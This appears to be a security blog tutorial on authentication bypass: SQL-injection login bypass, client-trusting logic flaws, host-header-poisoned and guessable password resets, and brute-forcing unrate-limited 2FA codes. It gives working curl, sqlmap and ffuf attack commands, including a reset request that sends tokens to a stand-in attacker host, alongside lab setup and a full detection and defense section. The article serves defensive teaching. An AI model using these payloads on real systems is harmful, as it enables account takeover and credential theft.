Authentication Bypass Techniques: Logic Flaws, SQLi, Weak Resets, and 2FA Bypass

Security
2026.01.10
Time it takes to read this article 5 minutes.

Introduction / Overview

Authentication is the front door of every web application, and it breaks far more often than developers expect. In this article you'll learn four distinct families of authentication bypass that show up repeatedly in real assessments: logic flaws in the authentication state machine, SQL injection (SQLi) auth bypass, weak password reset flows, and 2FA bypass. For each we'll cover the underlying mechanism, a reproducible proof of concept, and — with equal weight — how a blue team detects and shuts the technique down.

Legal / Ethical Disclaimer: Everything below is for education and authorized testing only — systems you own, or for which you hold explicit written permission (a signed scope/Rules of Engagement). Testing authentication on systems you do not own is illegal in most jurisdictions. Stay in scope.

How it works / Background

Authentication failures cluster around a few root causes. The OWASP Top 10 tracks them under A07:2021 – Identification and Authentication Failures. The four classes here map to distinct defects:

  • Logic flaws: the app trusts client-controllable state, or transitions between auth steps without re-validating identity (e.g., a multi-step login where step 2 trusts a userId parameter instead of the session).
  • SQLi auth bypass: the login query concatenates user input, so an attacker rewrites the WHERE clause to always return a row.
  • Weak reset: predictable, leaked, or non-expiring reset tokens, or host-header poisoning that redirects the reset link to the attacker.
  • 2FA bypass: the second factor is enforced only in the UI, not server-side, or the OTP endpoint has no rate limiting / no binding to the first-factor session.

Prerequisites / Lab setup

Build a deliberately vulnerable target locally. OWASP Juice Shop and PortSwigger Web Security Academy labs cover all four classes.

# Spin up OWASP Juice Shop locally (intentionally vulnerable)
docker run --rm -p 3000:3000 bkimminich/juice-shop
# Browse http://localhost:3000

# Core tooling
sudo apt install -y sqlmap   # automated SQLi
pipx install ffuf            # token/parameter fuzzing (or use go install)
# Burp Suite Community for request interception and Intruder

Attack walkthrough / PoC

1. SQLi authentication bypass

A classic vulnerable backend query:

SELECT * FROM users WHERE email = '$email' AND password = '$password';

Supplying ' OR 1=1 -- as the email comments out the password check and returns the first user (often the admin):

curl -s http://localhost:3000/rest/user/login \
  -H 'Content-Type: application/json' \
  -d '{"email":"'\'' OR 1=1 --","password":"x"}'

Confirm and enumerate with sqlmap against the same endpoint:

sqlmap -u "http://localhost:3000/rest/user/login" \
  --data '{"email":"test@test.com","password":"x"}' \
  --headers="Content-Type: application/json" \
  -p email --technique=B --batch --dbms=sqlite

--technique=B restricts to boolean-based blind, which is what a login form's true/false response leaks. To land on a specific account, target it directly: admin@juice-sh.op'--.

2. Logic flaw bypass

Logic flaws are app-specific, but a recurring pattern is a step that trusts a client parameter. Imagine a two-stage login: POST /login returns {"otpRequired": true, "userId": 42}, then POST /login/verify accepts {"userId": 42, "otp": "..."}. If the server reads userId from the body rather than the session, you can authenticate the OTP step for any victim by changing the value:

curl -s https://target.example/login/verify \
  -H 'Content-Type: application/json' \
  -b 'session=...' \
  -d '{"userId": 1, "otp": "<your-own-valid-otp>"}'

Other common logic flaws: a response=fail field you can flip to success, an empty/array value that short-circuits a comparison, or skipping a step entirely by hitting the post-auth endpoint directly (forced browsing).

3. Weak password reset

Two high-impact variants:

Host header poisoning — the app builds the reset link from the Host header, so it sends the victim a link pointing at your server, leaking the token to your logs:

curl -s https://target.example/api/reset \
  -H 'Host: evil.attacker.com' \
  -d 'email=victim@target.example'
# Victim's email contains: https://evil.attacker.com/reset?token=<secret>

Predictable / non-expiring tokens — if the token is short or sequential, fuzz it. Tokens should be ≥128 bits of CSPRNG output and single-use:

ffuf -w tokens.txt \
  -u "https://target.example/reset?token=FUZZ" \
  -mc 200 -fr "invalid or expired"

4. 2FA bypass

The most common 2FA bug is missing rate limiting on the OTP verification endpoint, making a 6-digit code (10^6 space) brute-forceable. Capture the verify request and run Burp Intruder, or with ffuf:

ffuf -w <(seq -w 0 999999) \
  -u https://target.example/2fa/verify \
  -X POST -H 'Content-Type: application/json' \
  -b 'session=<post-password-session>' \
  -d '{"otp":"FUZZ"}' \
  -mc 200 -fr "Invalid code" -rate 0

Other variants: response manipulation (change {"2fa":false} to true), flow skipping (navigate straight to the post-login dashboard URL while holding the partially-authenticated cookie), and disabling 2FA via an unprotected settings endpoint that doesn't re-prompt for the current OTP.

Mermaid diagram

Authentication Bypass Techniques: Logic Flaws, SQLi, Weak Resets, and 2FA Bypass diagram 1

The diagram shows four bypass branches converging on an authenticated session: SQLi short-circuits credential checks, weak server-side 2FA enforcement skips the OTP, and either brute force or a client-trust logic flaw defeats the OTP step.

Detection & Defense (Blue Team)

Defense must address each class, and most fixes are cheap relative to the impact.

SQLi auth bypass

  • Use parameterized queries / prepared statements exclusively — never string concatenation. ORMs help but verify raw-query escapes.
  • Deploy a WAF with SQLi rules (ModSecurity + OWASP CRS) as defense-in-depth, not as the primary control.
  • Detection: alert on ' OR, --, UNION SELECT, and tautology patterns in auth request bodies; watch for a single source enumerating the login endpoint.

Logic flaws

  • Derive identity from the server-side session, never from a client-supplied userId/role field.
  • Enforce step order server-side: the OTP step must validate that the session is in awaiting-2fa state for that user.
  • Detection: log and alert when a user's actions reference an account ID that differs from their session principal (IDOR/horizontal-escalation signal).

Weak reset

  • Generate tokens with a CSPRNG (≥128 bits), make them single-use, short-lived (e.g., 15 min), and invalidate on use or new request.
  • Never build URLs from the Host header — use a configured, allow-listed canonical base URL. Enforce a Host/X-Forwarded-Host allow-list at the edge.
  • Detection: alert on many reset requests for distinct accounts from one IP, and on reset traffic carrying unexpected Host values.

2FA bypass

  • Enforce the second factor server-side on every privileged action and on session elevation — not just in the SPA.
  • Rate-limit and lock the OTP endpoint (e.g., 5 attempts, then exponential backoff / temporary lock), and bind the OTP to the first-factor session.
  • Require re-authentication (current OTP) to disable 2FA or change recovery settings.
  • Detection: high-volume OTP failures per session/account, and successful logins whose session never passed the OTP state.

Cross-cutting: enable structured authentication logging (success, failure, MFA state), feed it to a SIEM, and map alerts to MITRE ATT&CK T1110 (Brute Force), T1212 (Exploitation for Credential Access), and T1556 (Modify Authentication Process). For broader account-takeover context see Password Spraying and Credential Attacks and JWT Attacks.

Conclusion

Authentication bypass rarely requires exotic exploits — it usually comes down to trusting client input, concatenating SQL, mishandling reset tokens, or enforcing 2FA only in the browser. Test all four classes on every engagement, and on the defensive side fix them at the root: parameterized queries, server-side session-derived identity, CSPRNG single-use tokens, and server-enforced, rate-limited MFA. For follow-up reading on the post-exploitation side, see Session Hijacking Techniques.

References

Comments

Copied title and URL